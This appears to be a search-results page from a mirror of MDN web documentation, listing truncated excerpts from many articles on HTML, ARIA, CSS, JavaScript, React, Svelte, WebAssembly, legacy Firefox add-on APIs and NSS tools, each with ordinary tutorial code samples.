... <div role="table" aria-label="populations" aria-describedby="country_population_desc"> <div id="country_population_desc">world populations by country</div> <div role="rowgroup"> <div role="row"> <span role="columnheader" aria-sort="descending">country</span> <span role="columnheader"aria-sort="none">population</span> </div> </div> <div role="rowgroup"> <div role="row"> <span role="cell">finland</span> <span role="cell">5.5 million</span> </div> <div role="row"> <span role="cell">france</span> <span role="cell">67 million</span> </div> ...
... </div> </div> description the element role="row" is a row within a grid, table or treegrid, and optionally within a rowgroup, that is a container for one or more cells, gridcells, columnheaders, or rowheaders within a static tabular structure.
...And 20 more matches
ARIA: button role - Accessibility
adding role="button" will make an element appear as a button control to a screen reader.
... <div id="savechanges" tabindex="0" role="button" aria-pressed="false">save</div> the above example creates a simple button which is first in the focus order, though <button> or <input> with type="button" should be used for buttons: <button id="savechanges">save</button> note: if using role="button" instead of the semantic <button> or <input type="button"> elements, you will need to make the element focusable and have to define event handlers for click and keydown events, including the enter and space keys, in order to process the user's input.
... a common convention to inform users a button will launch a dialog is to append "" (ellipsis) to the button's label, e.g., "save as…".
...And 20 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
how to describe a color in order to represent a color in css, you have to find a way to translate the analog concept of "color" into a digital form that a computer can use.
...if you use the single-digit notation, the final color is computed by using each component's digit twice; that is, "#d" becomes "#dd" when drawing.
... a color in hexadecimal string notation always begins with the character "#".
...And 20 more matches
Intl.NumberFormat() constructor - JavaScript
possible values include: "adlm", "ahom", "arab", "arabext", "bali", "beng", "bhks", "brah", "cakm", "cham", "deva", "diak", "fullwide", "gong", "gonm", "gujr", "guru", "hanidec", "hmng", "hmnp", "java", "kali", "khmr", "knda", "lana", "lanatham", "laoo", "latn", "lepc", "limb", "mathbold", "mathdbl", "mathmono", "mathsanb", "mathsans", "mlym", "modi", "mong", "mroo", "mtei", "mymr", "mymrshan", "mymrtlng", "newa", "nkoo", ...
..."olck", "orya", "osma", "rohg", "saur", "segment", "shrd", "sind", "sinh", "sora", "sund", "takr", "talu", "tamldec", "telu", "thai", "tibt", "tirh", "vaii", "wara", "wcho".
... options optional an object with some or all of the following properties: compactdisplay only used when notation is "compact".
...And 20 more matches
Performance fundamentals - Web Performance
framerate is important as a "quality of service" metric.
... computer displays are designed to "fool" user's eyes, by delivering photons to them that mimic reality.
...by manipulating pixels, a reader app emits photons in a similar pattern to "fool" the user's eyes.
...And 20 more matches
Understanding WebAssembly text format - WebAssembly
so that means the webassembly s-expression: (module (memory 1) (func)) represents a tree with the root node “module” and two child nodes, a "memory" node with the attribute "1" and a "func" node.
...let's start by doing this — first, we'll add a name preceded by a dollar sign, just after the func keyword: (func $add … ) now we need to add an export declaration — this looks like so: (export "add" (func $add)) here, add is the name the function will be identified by in javascript whereas $add picks out which webassembly function inside the module is being exported.
... so our final module (for now) looks like this: (module (func $add (param $lhs i32) (param $rhs i32) (result i32) local.get $lhs local.get $rhs i32.add) (export "add" (func $add)) ) if you want to follow along with the example, save the above our module into a file called add.wat, then convert it into a binary file called add.wasm using wabt (see converting webassembly text format to wasm for details).
...And 20 more matches
dev/panel - Archive of obsolete content
individual built-in tools, such as the javascript debugger or the web console, occupy "panels" in the toolbox.
...you can use the class utility function: const { panel } = require("dev/panel"); const { class } = require("sdk/core/heritage"); const mypanel = class({ extends: panel, label: "my panel", tooltip: "my new devtool", icon: "./my-devtool.png", url: "./my-devtool.html", setup: function(options) { // my setup goes here }, dispose: function() { // my teardown goes here }, onready: function() { // i can send messages to // the panel d...
...ocument here } }); alternatively, you can use the extend function: const { extend } = require("sdk/core/heritage"); function mypanel() {}; mypanel.prototype = extend(panel.prototype, { label: "my panel", tooltip: "...", ....
...And 19 more matches
MenuItems - Archive of obsolete content
<keyset> <key id="open-key" modifiers="accel" key="o"/> <key id="close-key" modifiers="accel" key="c"/> </keyset> <menubar> <menu label="view"> <menupopup> <menuitem label="open" key="open-key"/> <menuitem label="close" key="close-key"/> </menupopup> </menu> </menubar> the two menuitems are associated with a key using the key attribute.
...for the "open" item in this example, this command can be invoked by using the "accel" modifier key and pressing 'o'.
... the "accel" modifier key varies on each platform, but is the key typically used for shortcut keys.
...And 19 more matches
Making decisions in your code — conditionals - Learn web development
human beings (and other animals) make decisions all the time that affect their lives, from small ("should i eat one cookie or two?") to large ("should i stay in my home country and work on my father's farm, or should i move to america and study astrophysics?") conditional statements allow us to represent such decision making in javascript, from the choice that must be made (for example, "one cookie or two"), to the resulting outcome of those choices (perhaps the outcome of "ate one cookie" mig...
...ht be "still felt hungry", and the outcome of "ate two cookies" might be "felt full, but mom scolded me for eating all the cookies".) if...else statements let's look at by far the most common type of conditional statement you'll use in javascript — the humble if...else statement.
... a condition to test, placed inside the parentheses (typically "is this value bigger than this other value?", or "does this value exist?").
...And 19 more matches
Server-side web frameworks - Learn web development
"web application frameworks") are software frameworks that make it easier to write, maintain and scale web applications.
...every "view" function (a request handler) receives an httprequest object containing request information, and is required to return an httpresponse object with the formatted output (in this case a string).
... @app.route("/") def hello(): return "hello world!" while django expects developers to define a list of url mappings between a url pattern and a view function.
...And 19 more matches
Accessibility in React - Learn web development
press the tab key, and you will see the outline appear around the "add" button beneath the input.
...keep going until the focus indicator is around the first "edit" button.
... focusing between templates when a user toggles a <todo/> template from viewing to editing, we should focus on the <input> used to rename it; when they toggle back from editing to viewing, we should move focus back to the "edit" button.
...And 19 more matches
Componentizing our React app - Learn web development
defining our first component defining a component can seem tricky until you have some practice, but the gist is: if it represents an obvious "chunk" of your app, it's probably a component if it gets reused often, it's probably a component.
...open it up and give it its first line: import react from "react"; since we're going to make a component called todo, you can start adding the code for that to todo.js too, as follows.
...go back to src/app.js, copy the first <li> from inside the unordered list, and paste it into todo.js so that it reads like this: export default function todo() { return ( <li classname="todo stack-small"> <div classname="c-cb"> <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> </div> <div classname="btn-group"> <button type="button" classname="btn"> edit <span classname="visually-hidden">eat</span> </button> <button type="button" classname="btn bt...
...And 19 more matches
React interactivity: Events and state - Learn web development
for example: const btn = document.queryselector('button'); btn.addeventlistener('click', () => { alert("hi!"); }); in react, we write event handlers directly on the elements in our jsx, like this: <button type="button" onclick={() => alert("hi!")} > say hi!
...it should end up looking something like this: function handlesubmit(e) { e.preventdefault(); alert('hello, world!'); } to use this function, add an onsubmit attribute to the <form> element, and set its value to the handlesubmit function: <form onsubmit={handlesubmit}> now if you head back to your browser and click on the "add" button, your browser will show you an alert dialog with the words "hello, world!" — or whatever you chose to write there.
...update it as follows: function handlesubmit(e) { e.preventdefault(); props.addtask("say hello!"); } clicking on the "add" button in your browser will prove that the addtask() callback function works, but it'd be nice if we could get the alert to show us what we're typing in our input field!
...And 19 more matches
Examples
components.utils.import("resource://gre/modules/osfile.jsm") let path = os.path.join(os.constants.path.tmpdir, "file.txt"); let promise = os.file.exists(path); let newpromise = promise.then(function onfulfill(aexists) { if (aexists) { console.log("you have file.txt in your temporary directory."); } else { throw new error("you don't have file.txt in your temporary directory."); } }); // unexpected errors should always be reported at the end of a promise chain.
... components.utils.import("resource://gre/modules/osfile.jsm") let path = os.path.join(os.constants.path.tmpdir, "file.txt"); let promise = os.file.exists(path); let newpromise = promise.then(function onfulfill(aexists) { if (aexists) { console.log("you have file.txt in your temporary directory."); } else { console.log("you don't have file.txt in your temporary directory."); } }); // unexpected errors should always be reported at the end of a promise chain.
... using a promise returned by a function (compact) the same code as the previous example is usually written with a more compact syntax: components.utils.import("resource://gre/modules/osfile.jsm") let path = os.path.join(os.constants.path.tmpdir, "file.txt"); os.file.exists(path).then(exists => { console.log(exists ?
...And 19 more matches
NSS tools : modutil
for the most basic case, simply upload the library: modutil -add modulename -libfile library-file [-ciphers cipher-enable-list] [-mechanisms mechanism-list] for example: modutil -dbdir sql:/home/my/sharednssdb -add "example pkcs #11 module" -libfile "/tmp/crypto.so" -mechanisms rsa:dsa:rc2:random using database directory ...
... module "example pkcs #11 module" added to database.
...for example: platforms { linux:5.4.08:x86 { modulename { "example pkcs #11 module" } modulefile { crypto.so } defaultmechanismflags{0x0000} cipherenableflags{0x0000} files { crypto.so { path{ /tmp/crypto.so } } setup.sh { executable path{ /tmp/setup.sh } } } } linux:6.0.0:x86 { equivalentplatform { linux:5.4.08:x86 } } } both the install script and the required libraries must be bundled in a jar file, which is specified with the -jar a...
...And 19 more matches
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
for the most basic case, simply upload the library: modutil -add modulename -libfile library-file [-ciphers cipher-enable-list] [-mechanisms mechanism-list] for example: modutil -dbdir sql:/home/my/sharednssdb -add "example pkcs #11 module" -libfile "/tmp/crypto.so" -mechanisms rsa:dsa:rc2:random using database directory ...
... module "example pkcs #11 module" added to database.
...for example: platforms { linux:5.4.08:x86 { modulename { "example pkcs #11 module" } modulefile { crypto.so } defaultmechanismflags{0x0000} cipherenableflags{0x0000} files { crypto.so { path{ /tmp/crypto.so } } setup.sh { executable path{ /tmp/setup.sh } } } } linux:6.0.0:x86 { equivalentplatform { linux:5.4.08:x86 } } } ...
...And 19 more matches
Debugger.Frame - Firefox Developer Tools
a frame is a visible frame if any of the following are true: it is running debuggee code; its immediate caller is a frame running debuggee code; or it is a "debugger" frame, representing the continuation of debuggee code invoked by the debugger.
...(this is never one of the the debugger’s own frames; those never appear as debugger.frame instances.) push a "debugger" frame on the stack, witholder as its older property.
... invoke the debuggee code as appropriate for the given invocation function, with the "debugger" frame as its continuation.
...And 19 more matches
Cross-browser audio basics - Developer guides
this article provides: a basic guide to creating a cross-browser html5 audio player with all the associated attributes, properties, and events explained a guide to custom controls created using the media api basic audio example the code below is an example of a basic audio implementation using html5: <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <p>your browser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3.
...you can use type="audio/mp4".
... <audio preload="auto"> ...
...And 19 more matches
String.prototype.normalize() - JavaScript
syntax str.normalize([form]) parameters form optional one of "nfc", "nfd", "nfkc", or "nfkd", specifying the unicode normalization form.
... if omitted or undefined, "nfc" is used.
... these values have the following meanings: "nfc" canonical decomposition, followed by canonical composition.
...And 19 more matches
requiredFeatures - SVG: Scalable Vector Graphics
e using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <circle>, <clippath>, <cursor>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <use> html, body, svg { height: 100%; } text { fill: white; } <svg viewbox="0 0 250 45" xmlns="http://www.w3.org/2000/svg"> <g> <rect fill="forestgreen" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures supported</text> </g> <g requiredfeatures=""> <rect fill="crimson" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures not supported</text> </g> </svg> usage notes value <list-of...
...ern>, <font-face-src>, <font-face-uri>, <font-face-format> and <font-face-name> elements http://www.w3.org/tr/svg11/feature#basicfont the browser supports the <font>, <font-face>, <glyph>, <missing-glyph>, <hkern>, <font-face-src> and <font-face-name> elements http://www.w3.org/tr/svg11/feature#extensibility the browser supports the <foreignobject> element example svg <svg width="450" height="1170" xmlns="http://www.w3.org/2000/svg"> <!-- testing : http://www.w3.org/tr/svg11/feature#svg --> <rect class="ko" x="10" y="10" height="25" width="430" /> <rect class="ok" x="10" y="10" height="25" width="430" requiredfeatures="http://www.w3.org/tr/svg11/feature#svg" /> <text x="20" y="27">http://www.w3.org/tr/svg11/feature#svg</text> <!-- testing : http://www.w3.org...
.../tr/svg11/feature#svgdom --> <rect class="ko" x="10" y="35" height="25" width="430" /> <rect class="ok" x="10" y="35" height="25" width="430" requiredfeatures="http://www.w3.org/tr/svg11/feature#svgdom" /> <text x="20" y="52">http://www.w3.org/tr/svg11/feature#svgdom</text> <!-- testing : http://www.w3.org/tr/svg11/feature#svg-static --> <rect class="ko" x="10" y="60" height="25" width="430" /> <rect class="ok" x="10" y="60" height="25" width="430" requiredfeatures="http://www.w3.org/tr/svg11/feature#svg-static" /> <text x="20" y="77">http://www.w3.org/tr/svg11/feature#svg-static</text> <!-- testing : http://www.w3.org/tr/svg11/feature#svgdom-static --> <rect class="ko" x="10" y="85" height="25" width="430" /> <rect class="ok" x="10" y="85" height="25" width="430...
...And 19 more matches
system - Archive of obsolete content
var system = require("sdk/system"); // path environment variable console.log(system.env.path); // operating system console.log("platform = " + system.platform); // processor architecture console.log("architecture = " + system.architecture); // compiler used to build host application console.log("compiler = " + system.compiler); // host application build identifier console.log("build = " + system.build); // host application uuid console.log("id = " + syste...
...m.id); // host application name console.log("name = " + system.name); // host application version console.log("version = " + system.version); // host application vendor console.log("vendor = " + system.vendor); // host application profile directory console.log("profile directory = " + system.pathfor("profd")); quit the host application to quit the host application, use the exit() function.
... var system = require("sdk/system"); system.exit(); globals functions exit(code) quits the host application with the specified code.
...And 18 more matches
Forms related code snippets - Archive of obsolete content
date picker (before implementing it in a working environment, please read the note about the const statement compatibility) <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>datepicker example - mdn</title> <script type="text/javascript"> /*\ |*| |*| datepicker example mdndeveloper network |*| |*| https://developer.mozilla.org/docs/code_snippets/forms |*| https://developer.mozilla.org/user:fusionchess |*| |*| this snippet is released under the gnu public license, version 3 or later.
... |*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ (function () { function datepicker (otarget) { const otable = document.createelement("table"), ohrow = document.createelement("tr"), othead = document.createelement("thead"), ocapt = document.createelement("caption"), odecryear = document.createelement("span"), oincryear = document.createelement("span"), odecrmonth = document.createelement("span"), oincrmonth = document.createelement("span"); var nid = ainstances.length, oth; this.target = otarget; this.display = document.createelement("span"); this.current = new date(); this.container = otable; this.display.classname = sprefs + "-current-month"; this.id = nid; otable.classname = sprefs + "-calendar"; ...
... otable.id = sprefs + "-cal-" + nid; odecryear.classname = sprefs + "-decrease-year"; odecrmonth.classname = sprefs + "-decrease-month"; oincrmonth.classname = sprefs + "-increase-month"; oincryear.classname = sprefs + "-increase-year"; odecryear.innerhtml = "\u00ab"; /* &laquo; */ odecrmonth.innerhtml = "\u003c"; /* &lt; */ oincrmonth.innerhtml = "\u003e"; /* &gt; */ oincryear.innerhtml = "\u00bb"; /* &raquo; */ odecryear.id = sprefs + "-decr-year-" + nid; odecrmonth.id = sprefs + "-decr-month-" + nid; oincrmonth.id = sprefs + "-incr-month-" + nid; oincryear.id = sprefs + "-incr-year-" + nid; odecryear.onmousedown = oincryear.onmousedown = odecrmonth.onmousedown = oincrmonth.onmousedown = onheadclick; for (var nthid = 0; nthid < 7...
...And 18 more matches
generateCRMFRequest() - Archive of obsolete content
crmfobject = crypto.generatecrmfrequest("requesteddn", "regtoken", "authenticator", "escrowauthoritycert", "crmf generation done code", keysize1, "keyparams1", "keygenalg1", ..., keysizen, "keyparamsn", "keygenalgn"); this method will generate a sequence of crmf requests that has...
...the "escrowauthoritycert" parameter will only be used for requests that pertain to a key that is being escrowed.
... after the "escrowauthoritycert" parameter, the method takes some javascript code that is invoked when the crmf request is ready.
...And 18 more matches
Elements - Archive of obsolete content
helloworld.html: <!doctype html public "-//w3c//dtd html 4.01//en"> <html> <head> <title>hello world!</title> <style type="text/css"> p { -moz-binding: url(hello.xml#default); } #p03 { -moz-binding: url(hello.xml#hello2); } </style> </head> <body> <p>default content</p> <p>default content</p> <p id="p03">default content</p> </body> </html> hello.xml: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns...
...:html="http://www.w3.org/1999/xhtml"> <binding id="default"> <content><html:b>hello world!
... </html:b><children/></content> </binding> <binding id="hello2"> <content><html:b>hello from my binding!
...And 18 more matches
Building accessible custom components in XUL - Archive of obsolete content
firefox 1.5 is the first browser to support dhtml accessibility; it maps the declarations within the html page to the underlying accessibility architecture so that assistive technologies can "read" a web page and know how to present these complex controls to the end user.
...<code> <grid class="spreadsheet" id="accjaxspreadsheet" flex="1"> <rows flex="1"></rows> <columns flex="1"> <column> <description value="entry #"/> <description value="1"/> <description value="2"/> <description value="3"/> <description value="4"/> <description value="5"/> <description value="6"/> <description value="7"/> </column> <column flex="1"> ...
... <description value="date"/> <label value="03/14/05" flex="1"/> <label value="03/15/05" flex="1"/> <label value="03/15/05" flex="1"/> <label value="03/16/05" flex="1"/> <label value="03/16/05" flex="1"/> <label value="03/16/05" flex="1"/> <label value="03/16/05" flex="1"/> </column> <column flex="1"> <description value="expense"/> <label value="conference fee" flex="1"/> <label value="lodging" flex="1"/> <label value="dinner" flex="1"/> <label value="lodging" flex="1"/> <label value="breakfast" flex="1"/> <label value="lunch" flex="1"/> <label value="dinner" flex="1"/> </column> <-- several columns omitted for brevity --> </columns> </grid> </code> now we can use css to add some minimal s...
...And 18 more matches
HTML text fundamentals - Learn web development
the rain lashed down on the ...</p> <h2>chapter 2: the eternal silence</h2> <p>our protagonist could not so much as a whisper out of the shadowy figure ...</p> <h3>the specter speaks</h3> <p>several more hours had passed, when all of a sudden the specter sat bolt upright and exclaimed, "please have mercy on my soul!"</p> it's really up to you what the elements involved represent, as long as the hierarchy makes sense.
... playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="input" style="min-height: 100px; width: 95%">my short story i am a statistician and my name is trish.
... my legs are made of cardboard and i am married to a fish.</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = ...
...And 18 more matches
Componentizing our Svelte app - Learn web development
todosstatus.svelte: the "x out of y items completed" heading.
...add the following content into the file: <script> export let filter = 'all' </script> <div class="filters btn-group stack-exception"> <button class="btn toggle-btn" class:btn__primary={filter === 'all'} aria-pressed={filter === 'all'} on:click={()=> filter = 'all'} > <span class="visually-hidden">show</span> <span>all</span> <span class="visually-hidden">tasks</span> </button> <button class="btn toggle-btn" class:btn__primary={filter === 'active'} aria-pressed={filter === 'ac...
...tive'} on:click={()=> filter = 'active'} > <span class="visually-hidden">show</span> <span>active</span> <span class="visually-hidden">tasks</span> </button> <button class="btn toggle-btn" class:btn__primary={filter === 'completed'} aria-pressed={filter === 'completed'} on:click={()=> filter = 'completed'} > <span class="visually-hidden">show</span> <span>completed</span> <span class="visually-hidden">tasks</span> </button> </div> back in our todos.svelte component, we want to make use of our filterbutton component.
...And 18 more matches
Timing element visibility with the Intersection Observer API - Web APIs
we'll be using css grid to style and lay out the site, so we can be pretty straightforward here: <div class="wrapper"> <header> <h1>a fake blog</h1> <h2>showing intersection observer in action!</h2> </header> <aside> <nav> <ul> <li><a href="#link1">a link</a></li> <li><a href="#link2">another link</a></li> <li><a href="#link3">one more link</a></li> </ul> </nav> </aside> <main> </main> </div> this is the framework for the entire site.
... body { font-family: "open sans", "arial", "helvetica", sans-serif; background-color: aliceblue; } .wrapper { display: grid; grid-template-columns: auto minmax(min-content, 1fr); grid-template-rows: auto minmax(min-content, 1fr); max-width: 700px; margin: 0 auto; background-color: aliceblue; } the site's <body> is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" ...
...then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads).
...And 18 more matches
Inputs and input sources - Web APIs
selecting using the main "select" button or other input on the controller to choose the targeted direction (or the object at which it points), or to otherwise engage an action.
...it can also be useful if your app uses the notion of "main hand" and "off hand" for determining the functionality of a controller; in a game, for example, the main hand controller may be the player's weapon while the off hand controller might be used to control the positioning of a shield.
... for example, if you need to keep up with which controller is held in each of the player's hands, you might do something like this: let inputsourcelist = null; let lefthandsource = null; let righthandsource = null; xrsession.addeventlistener("inputsourceschange", event => { inputsourcelist = event.session.inputsources; inputsourcelist.foreach(source => { switch(source) { case "left": lefthandsource = source; break; case "right": righthandsource = source; break; } }); }); the inputsourceschange event is also fired once when the session's creation callback first completes executi...
...And 18 more matches
Regular expressions - JavaScript
for example, the pattern /abc/ matches character combinations in strings only when the exact sequence "abc" occurs (all characters together and in that order).
... such a match would succeed in the strings "hi, do you know your abc's?" and "the latest airplane designs evolved from slabcraft." in both cases the match is with the substring "abc".
... there is no match in the string "grab crab" because while it contains the substring "ab c", it does not contain the exact substring "abc".
...And 18 more matches
Promise - JavaScript
not to be confused with: several other languages have mechanisms for lazy evaluation and deferring a computation, which they also call "promises", e.g.
...the termination condition of these functions determines the "settled" state of the next promise in the chain.
... any termination other than a throw creates a "resolved" state, while terminating with a throw creates a "rejected" state.
...And 18 more matches
ui/sidebar - Archive of obsolete content
unlike modules such as panel, the content must be local, typically loaded from the add-on's data directory via a url constructed using self.data.url(): var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html") }); from firefox 34, you can use "./sidebar.html" as an alias for self.data.url("sidebar.html").
... so you can rewrite the above code like this: var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar', url: "./sidebar.html" }); you can include javascript and css from the html as you would with any web page, for example using <script> and <link> tags containing a path relative to the html file itself.
... <!doctype html> <html> <head> <link href="stuff.css" type="text/css" rel="stylesheet"> </head> <body> <script type="text/javascript" src="stuff.js"></script> </body> </html> you can update the sidebar's content by setting the sidebar's url property.
...And 17 more matches
Miscellaneous - Archive of obsolete content
system info operating system detection // returns "winnt" on windows vista, xp, 2000, and nt systems; // "linux" on gnu/linux; and "darwin" on mac os x.
... var osstring = services.appinfo.os; detecting the host application and version // get the name of the application running us services.appinfo.name; // returns "firefox" for firefox services.appinfo.version; // returns "2.0.0.1" for firefox version 2.0.0.1 retrieving the version of an extension as specified in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called immediately alert("my extension's version is " + addon.version); }); restarting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see ar...
... <div id="scrollarea" style="overflow: scroll; height: 6em; width: 10em;"> this is the scrolling area.
...And 17 more matches
Signing an XPI - Archive of obsolete content
-p"password" using certificate directory: .
...enter "y" to continue, or anything else to abort: y enter certificate information.
...certificate common name: xpi test organization: tjworld organization unit: software state or province: nottingham country (must be exactly 2 characters): gb username: tj email address: certificates@lan.tjworld.net generated public/private key pair certificate request generated certificate has been signed certificate "mytestcert" added to database exported certificate to x509.raw and x509.cacert.
...And 17 more matches
Adding preferences to an extension - Archive of obsolete content
establish the defaults in order to set a default preference for the stock to monitor, we need to add a new folder to our extension's package, called "defaults", which in turn contains another folder called "preferences".
... inside that, we create a file, defaults.js, that describes the default value of our preferences: pref("extensions.stockwatcher2.symbol", "goog"); the standard for third-party preferences, such as those used in extensions, is to use the string "extensions", a period, the name of the extension, another period, then a preference name, as seen in the example above.
... var stockwatcher = { prefs: null, tickersymbol: "", // initialize the extension startup: function() { // register to receive notifications of preference changes this.prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice) .getbranch("extensions.stockwatcher2."); this.prefs.addobserver("", this, false); this.tickersymbol = this.prefs.getc...
...And 17 more matches
No Proxy For configuration - Archive of obsolete content
abstract this document provides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.
... this feature was originally designed as a "blacklist" of sites or domains that was within the intranet, and should not be accessed via the proxy server.
... user interface "no proxy for" is an optional field, part of "manual proxy configuration".
...And 17 more matches
Creating a Help Content Pack - Archive of obsolete content
original doc: http://www.mozilla.org/projects/help.../content_packs i hesitate to call it "original", tho, because i've basically rewritten the entire thing so that it's easier and faster to use to create help content.
...this is still very much a work in progress, tho, and i need to complete the rest of it soon (where "complete" means "use what's there that's good, build on the stuff that's not as good, and add other useful information as necessary".
...insert into it the following text: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> </rdf:rdf> if you're familiar with html or xml, you might recognize this as the container element for the whole document.
...And 17 more matches
Menu - Archive of obsolete content
ArchiveMozillaJetpackUIMenu
because it is still under development, the api currently lives in the future and must be imported before it is used: jetpack.future.import("menu"); menus all menus in jetpack are jetpack.menu objects, including both built-in firefox menus and menus that features create.
... type string currently only "separator" is supported.
...note that when type == "separator", any other properties (such as label) may be specified.
...And 17 more matches
A XUL Bestiary - Archive of obsolete content
the chrome url this concept of a chrome as an integrated, dynamic thing in some way divorced from the "appcore" is realized in the use of the chrome url to point to chunks of xul and their related files.
... the chrome url, which appears in place of the http url in pointers like the following global skin processing instruction: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> specifies a chrome to be loaded by the gecko rendering engine.
... in the example above, the chrome is simply a skin file to be loaded into the xul file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a new chrome: <menuitem value="mozilla help" oncommand="window.opendialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> in this example, the chrome url is being used to point to a chrome within the package hierarchy of the mozilla application.
...And 17 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." public-key cryptography is a set of well-established techniques and standards for protecting communications from eavesdropping, tampering, and impersonation attacks.
...the ca's digital signature allows the certificate to function as a "letter of introduction" for users who know and trust the ca but don't know the entity identified by the certificate.
... for more information about the role of cas, see "how ca certificates are used to establish trust".
...And 17 more matches
Advanced text formatting - Learn web development
playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="input" style="min-height: 100px; width: 95%"> bacon the glue that binds the world together.
...a light brown color.</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); const code = textarea.value; const userentry = textarea.value; function updatecode() { output.innerhtml = text...
...for example, the following markup is taken from the mdn <blockquote> element page: <p>the <strong>html <code>&lt;blockquote&gt;</code> element</strong> (or <em>html block quotation element</em>) indicates that the enclosed text is an extended quotation.</p> to turn this into a block quote, we would just do this: <p>here below is a blockquote...</p> <blockquote cite="/docs/web/html/element/blockquote"> <p>the <strong>html <code>&lt;blockquote&gt;</code> element</strong> (or <em>html block quotation element</em>) indicates that the enclosed text is an extended quotation.</p> </blockquote> browser default styling will render this as an indented paragraph, as an indicator that it is a quote; the paragraph above the quotation is there to demonstrate that.
...And 17 more matches
Getting started with HTML - Learn web development
playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>editable code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="playable-code" style="min-height: 100px;width: 95%"> this is my text.
... </textarea> <div class="controls"> <input id="reset" type="button" value="reset" /> <input id="solution" type="button" value="show solution" /> </div> html { font-family: 'open sans light',helvetica,arial,sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code; userentry = textar...
...for example, the <img> element embeds an image file onto a page: <img src="https://udn.realityripple.com/samples/d5/2be21e0477.png"> this would output the following: note: empty elements are sometimes called void elements.
...And 17 more matches
What’s in the head? Metadata in HTML - Learn web development
let's revisit the simple html document we covered in the previous article: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <p>this is my page</p> </body> </html> the html head is the contents of the <head> element — unlike the contents of the <body> element (which are displayed on the page when loaded in a browser), the head's content is not displayed on the page.
...in the above example, the head is quite small: <head> <meta charset="utf-8"> <title>my test page</title> </head> in larger pages however, the head can get quite full.
... press the "raw" button on the github page, which causes the raw code to appear (possibly in a new browser tab).
...And 17 more matches
Looping code - Learn web development
he might use the following loop to achieve this: a loop usually has one or more of the following features: a counter, which is initialized with a certain value — this is the starting point of the loop ("start: i have no food", above).
...this is illustrated by "have i got enough food?", above.
... at this point, you probably understand the high-level concepts behind loops, but you are probably thinking "ok, great, but how does this help me write better javascript code?" as we said earlier, loops are all to do with doing the same thing over and over again, which is great for rapidly completing repetitive tasks.
...And 17 more matches
Getting started with React - Learn web development
when we refer to react as a "framework", we’re working with that colloquial understanding.
... while react can be used for small pieces of an interface, it's not as easy to "drop into" an application as a library like jquery, or even a framework like vue — it is more approachable when you build your entire app with react.
